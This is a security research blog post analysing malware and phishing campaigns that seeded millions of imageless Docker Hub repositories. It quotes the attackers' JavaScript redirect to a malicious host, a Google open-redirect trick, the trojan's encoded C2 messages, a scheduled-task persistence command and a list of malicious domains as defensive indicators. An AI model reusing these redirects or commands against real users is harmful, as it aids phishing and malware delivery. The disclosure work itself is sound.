As key parts of the software ecosystem, and as partners, JFrog and Docker are working together to strengthen the software ecosystem. Part of this effort by JFrog’s security research team involves continuous monitoring of open-source software registries in order to proactively identify and address potential malware and vulnerability threats.
In former publications, we have discussed some of the malware packages we found on the NPM, PyPI and NuGet registries by continuously scanning all major public repositories. In this blog post, we reveal three large-scale malware campaigns we’ve recently discovered, targeting Docker Hub, that planted millions of “imageless” repositories with malicious metadata. These are repositories that do not contain container images (and as such cannot be run in a Docker engine or Kubernetes cluster) but instead contain metadata that is malicious.
Docker Hub is a platform that delivers many functionalities to developers, presenting numerous opportunities for development, collaboration, and distribution of Docker images. Currently, it is the number one container platform of choice for developers worldwide. It hosts over 15 million repositories.
Yet, a significant concern arises when considering the content of these public repositories. Our research reveals that nearly 20% of these public repositories (almost three million repositories!) actually hosted malicious content. The content ranged from simple spam that promotes pirated content, to extremely malicious entities such as malware and phishing sites, uploaded by automatically generated accounts.
While the Docker Hub maintainers currently moderate many of the uploaded repositories, and the repositories we found have been taken down after our disclosure, these attacks show that blocking 100% of malicious uploads is immensely challenging.

What enabled this attack?

Docker Hub is Docker’s cloud-based registry service that hosts and distributes images. Its core concept is a repository, which includes text descriptions and metadata on top of the container data.
Docker Hub’s repository library (click to expand)
While the core feature of a Docker repository is to hold a collection of Docker images (an application that can be updated and accessible through a fixed name), Docker Hub introduces several key enhancements. The most significant of them is community features.
For public repositories, Docker Hub acts as a community platform. It allows users to search and discover images that might be useful for their projects. Users can also rate and comment on repositories, helping others gauge the reliability and utility of available images.
To help users search and use images, Docker Hub allows repository maintainers to add short descriptions and documentation in HTML format, which will be displayed on the repository’s main page. Usually, repository documentation aims to explain the purpose of the image and provide guidelines for its usage.
Example of a Legitimate Repository’s Documentation
But as Murphy’s law for security says, if something can be exploited by malware developers, it inevitably will be.
JFrog’s security research team discovered that ~4.6 million of the repositories in Docker Hub are imageless and have no content except for the repository’s documentation. A deeper inspection revealed that the vast majority of these imageless repositories were uploaded with a malicious endgame – their overview page tries to deceive users into visiting phishing websites or websites that host dangerous malware.
Before discussing the various malicious payloads, we will explain our methodology for finding these malicious repositories.

Identifying the malicious repositories

We started our research by identifying anomalies in the publication patterns of Docker Hub repositories. To achieve this, we pulled all “imageless” Docker Hub repositories published in the past five years, grouped them by creation date, and plotted them on a graph:
Graph of Monthly Created Repositories
As we can see, the usual activity on Docker Hub is quite linear, but we can see a few spikes in 2021 and 2023. If we zoom in, we see that the daily activity is well-defined and follows a working week pattern. Even visually, we can notice a working week pattern: more repositories are created on work days and fewer on weekends.
Zooming in on the 2023 anomaly
The graph shows that when the unusual activity starts, the number of daily-created repositories multiplies tenfold.
We thoroughly analyzed the repositories created on days with anomalies and found many repositories deviated from the norm. The main deviation is that they didn’t contain container images, just a documentation page, making the repository unusable, as it can’t be pulled and run as a normal docker image.
Example of a Malicious Repository
For instance, the repository shown in the screenshot above contains a few links in the description directing users to a phishing website: https[://]www[.******medz*****.]com. This site deceives unsuspecting visitors by promising to purchase prescription-only medications but then stealing their credit card details.
While all anomalous repositories were somewhat different from each other and were published by various users, most followed the same patterns. That allowed us to create a signature and group them by families (or campaigns). Once we applied this signature to all imageless repositories, we gathered a list of the hub users publishing them. We classified all repositories published by these users as malware as well.
After we plotted the campaigns on the timeline, we got an understanding of the periods when the largest malware campaigns operated.
Two were most active in the first half of 2021, publishing thousands of repositories daily. The downloader campaign made one more attempt in August 2023. The “Website SEO” campaign operated differently, consistently pushing a small number of repositories daily over three years.
Malware Repositories Registered Per Day by Campaign
At the time of DockerCon 2023, Docker Hub contained 15 million repositories, so we will use this number as reference for the total Docker Hub repository count.
The total number of imageless repositories published to Docker Hub is 4.6M – 30% of all public repositories. We were able to link 2.81M (~19%) of these repositories to these large malicious campaigns.
In addition to the large campaigns we identified, our analysis also revealed the presence of smaller sets of repositories. These campaigns seemed mostly focused on spam / SEO, however we could not classify all of the variants of these campaigns. These smaller “campaigns” contained less than 1000 packages each. For our categorization, we allocated these smaller sets to a group labeled “Other suspicious” –
DockerHub repositories classification
Distribution of malicious repositories by campaigns:
Campaign# of Repositories (% of all DH Repositories)# of Users
Website SEO215451 (1.4%)194699
Downloader1453228 (9.7%)9309
eBook Phishing1069160 (7.1%)1042
Other suspicious imageless76025 (0.5%)3689
Total2.81M (18.7%)208739
We can see different approaches in the distribution of the malicious repositories. While the “Downloader” and “eBook Phishing” campaigns create fake repositories in batches over a short time period, the “Website SEO” campaign creates a few repositories daily over the whole time frame and uses a single user per repository.
Now that we know which main malware campaigns were running on Docker Hub, let’s review their tactics and techniques in depth.
  1. “Downloader” Campaign
  2. “eBook Phishing” Campaign
  3. “Website SEO” Campaign

Analysis of the Docker Hub malware campaigns

1. “Downloader” Campaign

Distribution of the Downloader Campaign’s Repositories
Repositories belonging to this campaign contain automatically generated texts with SEO text proposing to download pirated content or cheats for video games. Additionally, the text includes a link to the alleged advertised software.
This campaign operated in two distinct rounds (circa 2021 and 2023), while both rounds used exactly the same malicious payload (see analysis further down).
Example of a malicious repository with a malware download link

The 2021 round – Malicious domains pretending to be URL shorteners

Most URLs used in the campaign pretend to use known URL shorteners (ex. tinyurl.com), similar to an attack campaign on Google Ads found in 2021 as well. After we tried to resolve them, we discovered that, unlike the real shorteners, these malicious shorteners don’t actually encode the URL. Instead, they encode a file name and resolve a link to a different domain each time a malicious resource is shut down.
For instance, during our investigation, the URL blltly[.]com/1w1w1 redirected to https[://]failhostingpolp[.]ru/9ebeb1ba574fb8e786200c62159e77d15UtXt7/x60VKb8hl1YelOv1c5X1c0BuVzmFZ8-teb-LRH8w. However, subsequent requests to the server triggered the generation of a new URL path each time.
Their sole purpose is to serve as a proxy for a malicious CDN.
Every subsequent request to the same shortened link brings a different URL, and if the server that’s hosting malicious files is shut down, the shortener will return a link to a new, active one.
We gathered a list of all malicious domains and compiled a table showing the correspondence between the fraudulent shorteners and their real, trustworthy versions.
Malware shortenerImpersonated legitimate shortener
blltly[.]com <br>bltlly[.]com <br>byltly[.]com <br>bytlly[.]comhttps://bitly.com/
tinourl[.]com <br>tinurli[.]com <br>tinurll[.]com <br>tiurll[.]com <br>tlniurl[.]comhttps://tinyurl.com
urlca[.]com <br>urlcod[.]com <br>urlgoal[.]com <br>urllie[.]com <br>urllio[.]com <br>urloso[.]com <br>urluso[.]com <br>urluss[.]comhttps://urlgo.in/
imgfil[.]comhttps://imgflip.com/
cinurl[.]com <br>fancli[.]com <br>geags[.]com <br>gohhs[.]com <br>jinyurl[.]com <br>miimms[.]com <br>picfs[.]com <br>shoxet[.]com <br>shurll[.]com <br>ssurll[.]com <br>tweeat[.]com <br>vittuv[.]com
Fake URL Shorteners Used by the Malware Campaign
This strategy, developed in 2021, worked for some time until AV companies found a list of the links and added them to their blacklists. Currently, browsers and providers raise alerts when an attempt is made to access one of the links from the table above.

The 2023 round – Enhanced anti-detection techniques

The second round of the campaign, which occurred in 2023, focused on avoiding detection. The malicious repositories no longer use direct links to malicious sources. Instead, they point to legitimate resources as redirects to malicious sources.
Among these resources is a page hosted on blogger.com that contains JavaScript code that redirects to the malicious payload after 500 milliseconds:
<script type='text/javascript'> var c = new URL(window.location).searchParams.get('el'); if(c!=null){ setTimeout('write()', 500); setTimeout('Redirect()', 0); }else{ window.setTimeout(function(){ document.getElementById('redir').href='https://gohhs.com/'; }, 500); } function write() { document.getElementById('redir').href='https://gohhs.com/'+c; } function Redirect() { window.location.replace('https://gohhs.com/'+c); } </script>
Another approach is a well-known open redirect bug in Google, which allows malicious actors to redirect users to a malicious site with a legitimate Google link using specific parameters.
Normally, the Google link https://www%5C%5B.%5C%5Dgoogle%5C%5B.%5C%5Dcom/url?q=https%3A%2F%2Fexample.us%2F doesn’t redirect a user to the target site. Instead, it shows a notice warning that they are being redirected to another domain.
Example of a Redirection Notice
However, it’s possible to add the undocumented parameter usg to disable this warning. The parameter contains a hash or signature that causes google.com to redirect to the target site automatically –
q=https://urlin.us/2vwNSW
sa=D
sntz=1
usg=AOvVaw1A6cBKittNvLawLc7IB9M0
This redirect leads to the target site. At the time of writing, the target sites were gts794[.]com and failhostingpolp[.]ru. These sites lure the victim to download an advertised software. However, regardless of the name on the landing page, the downloaded file is always the same archive with an EXE installer. As we can see in the AnyRun analysis, the malware installs a binary called freehtmlvalidator.exe into the directory “%LOCALAPPDATA%\HTML Free Validator”
Malicious Payload Served in the Downloader Campaign

Analysis of the “Downloader” campaign payload

The payload of the “Downloader” campaign is a malicious executable that most antivirus engines detect as a generic Trojan.
Detection of the Served Payload by Antiviruses
The malware is written with the successor to the once-popular Delphi environment: Embarcadero RAD Studio 27.0.
The malware communicates with the C2C server http://soneservice%5C%5B.%5C%5Dshop/new/net%5C_api using HTTP POST requests. The request is a JSON message XORed with the three-byte key “787” and encoded in hex.
{ "5E4B1B4F": "4D571F435C025E5B0A465B114B4602455C0F4B460A", "465B0F": "664eed76ed570dbb4cba2bdcb3479b5f", "4E531F4B": "en" }
The fields of the JSON are encoded in the same manner but using a different key: “*2k”. Knowing this, we can decode the request to
{ "type": "getinitializationdata", "lid": "664eed76ed570dbb4cba2bdcb3479b5f", "data": "en" }
The first command sent by the malware to the server is getinitializationdata. It contains two parameters: the malware’s unique identifier (“lid”) and the system locale identifier. The latter informs the server about the language setting of the infected system, enabling customized responses. The malware uses this unique identifier for all subsequent server requests.
In response, the server provides layout and localization details specific to Delphi, which are adapted based on the system’s language setting.
Afterwards, the malware sends an initialization request passing information about the infected system. The information includes OS-specific information, hardware, installed browser, version of the .NET framework, running processes, and available network adapters. The server, in return, provides a link to the alleged promised software and a list of offers. The promised software part is represented by URL and file name:
"file": { "download_url": "http:\/\/totrakto.com\/CRACK-IDA-Pro-V6-8-150423-And-HEX-Rays-Decompiler-ARM-X86-X64-iDAPROl.zip", "name": "CRACK-IDA-Pro-V6-8-150423-And-HEX-Rays-Decompiler-ARM-X86-X64-iDAPROl.zip", "size": 64918480 },
Malware’s Communication with the C2 Server
The “offers” section of the response contains a list of the links to executables, too. Additionally, it outlines various conditions that must be met to drop executables. The most significant conditions are:
  • excludeGeoTargeting contains codes of countries where the malware shouldn’t be installed
    "excludeGeoTargeting": [ "RU", "AZ", "AM", "BY", ]
  • blackAvList contains a list of antivirus applications that will also prevent the malware from being installed
    "blackAvList": [ "avast", "avg", "avira", "nod32", "mcafeeep", "windef", ]
  • A process blacklist (wasn’t observed in payload sample)
  • A list of Windows registry entries that must be present on the target system (wasn’t observed in payload sample)
Considering that the malware already sends information about the system to the server, we find these conditions on the client a bit redundant. Also, the response contains fields that were never used by the malware binary but are typical for advertisement networks, such as price, offer_id, and advertiser_id. From these fields we can assume that this malware operation is part of a broader ecosystem, potentially involving adware or monetization schemes that benefit from the distribution and installation of third-party software. Building on this understanding, we further assume that these request parameters are likely copied and embedded into the software from a dubious advertising network API, where third parties may pay for the distribution of their executables.
"advertiser_id": 7, "groupOffer_id": 43, "price": 0.064, "price_usd": 0.064, "tarif": 0.08, "use_balance": "0",
After processing the response, the malware shows an installation dialog that proposes to the user to download and install the software promised in the malicious Docker Hub repository –
Installation Dialog Shown by Malware
After accepting, in addition to installing the promised software, the malware just downloads all the malicious binaries from offer and schedules their persistent execution with the command “SCHTASKS.exe /Create /TN <random_name> /RL HIGHEST /SC DAILY”.

2. “eBook Phishing” Campaign

Malware repositories registered per day by ebook_phishing campaign
Nearly a million repositories created in the middle of 2021 turned Docker Hub into a “pirated eBook library”. These spam repositories all offered free eBook downloads containing randomly generated descriptions and download URLs –
Example of an eBook phishing repository
All links eventually redirect the user to the same page: http://rd%5C%5B.%5C%5Dlesac%5C%5B.%5C%5Dru/.
eBook download landing page
After promising a free full version of the eBook, the website chooses a random page from the set available for the user’s IP and redirects them there. The following steps depend on the user’s country, but usually, it’s a form asking the user to enter credit card information.
Undoubtedly, the sole intent behind this action is phishing, aiming to steal credit card details and unknowingly enroll the user in a subscription service. The footer on these target sites usually has barely-readable text, saying the subscription charges 40-60€ per month.
Some phishing sites from the campaign (click to expand)

3. “Website SEO” Campaign

Unlike the previous two campaigns, which were blatantly malicious (phishing / malware download) the aim of this campaign is not so clear. While the repositories themselves were obviously not uploaded in good faith, the content is mostly harmless – just a random description string with a username generated by the pattern “axaaaaaxxx” where a is a letter and x is a digit. All repositories published by these users have the same name: website.
It is possible that the campaign was used as some sort of a stress test before enacting the truly malicious campaigns.
This campaign also has a different registration routine. As we can see from the graph, the actors behind this campaign created a thousand repositories daily across three years! This is unlike the previous campaigns, which focused on generating imageless repositories in a much shorter time. In this campaign the attackers published only one repository per created user, whereas in the previous campaigns, a single user was used to publish thousands of repositories.
Malware repositories registered per day by “Website SEO” campaign
In this campaign, the repository description usually contains a short, seemingly random, and senseless phrase without any other information.
Some of the repositories contain links to social network sites, but these seem to contain mostly garbage as well, and not malicious URLs or files –
Example of a Website SEO Campaign Repositories’ Description
Below are some user names from this campaign, with the relevant descriptions in the repository documentation –
Random Phrases from the Website SEO Campaign’s Repositories
When we searched for these usernames, we found that this campaign also targeted other platforms that have open contribution policies –
Website SEO Campaign Usernames Used in other Platforms

Disclosure to Docker Inc.

Prior to this publication, the JFrog research team disclosed all findings to the Docker security team, including 3.2M repositories that were suspected as hosting malicious or unwanted content. The Docker security team quickly removed all of the malicious and unwanted repositories from Docker Hub. We would like to thank the Docker security team for handling this disclosure quickly and professionally, and are happy to contribute to the continued safe use of the Docker ecosystem.

How Can Docker Hub Users Avoid Similar Attacks?

Users should prefer using Docker images that are marked in Docker Hub as “Trusted Content” –
Docker Hub has designated tags for trusted content that users can look for when browsing an image’s description page. The first tag is the Docker Official Image tag, otherwise known as Docker Hub’s Library, a set of curated Docker repositories. The Library consists of repositories that are maintained by trusted and well-known software development foundations, organizations and companies, such as Python, Ubuntu and Node. The second tag is the Verified Publisher tag, which is assigned to every repository that is part of the Docker Verified Publisher Program. This set contains repositories from commercial publishers, who have been verified by Docker Hub. And lastly, the Sponsored OSS tag, which is assigned to repositories of open source projects that are sponsored by Docker Hub.
When browsing a repository’s page, a badge that indicates that the repository is part of one of the aforementioned types would appear next to the repository’s name, at the top of the page –
Following these guidelines would decrease the risk of being manipulated into following a malicious link outside of Docker Hub from a repository’s description page. For example – none of the malicious repositories mentioned in this blog was marked as “Trusted Content”.

Summary

Unlike typical attacks targeting developers and organizations directly, the attackers in this case tried to leverage Docker Hub’s platform credibility, making it more difficult to identify the phishing and malware installation attempts.
Almost three million malicious repositories, some of them active for over three years highlight the attackers’ continued misuse of the Docker Hub platform and the need for constant moderation on such platforms.

IoCs

failhostingpolp[.]ru
gts794[.]com
blltly[.]com
ltlly[.]com
byltly[.]com
bytlly[.]com
cinurl[.]com
fancli[.]com
geags[.]com
gohhs[.]com
imgfil[.]com
jinyurl[.]com
miimms[.]com
picfs[.]com
shoxet[.]com
shurll[.]com
ssurll[.]com
tinourl[.]com
tinurli[.]com
tinurll[.]com
tiurll[.]com
tlniurl[.]com
tweeat[.]com
urlca[.]com
urlcod[.]com
urlgoal[.]com
urllie[.]com
urllio[.]com
urloso[.]com
urluso[.]com
urluss[.]com
vittuv[.]com
rd[.]lesac[.]ru
soneservice[.]shop
This is a really enjoyable write up! It’s basically leveraging docker’s platform to broaden an attack surface for more potential victims. But ultimately it has nothing to do with docker technology itself, if I understand correctly
reply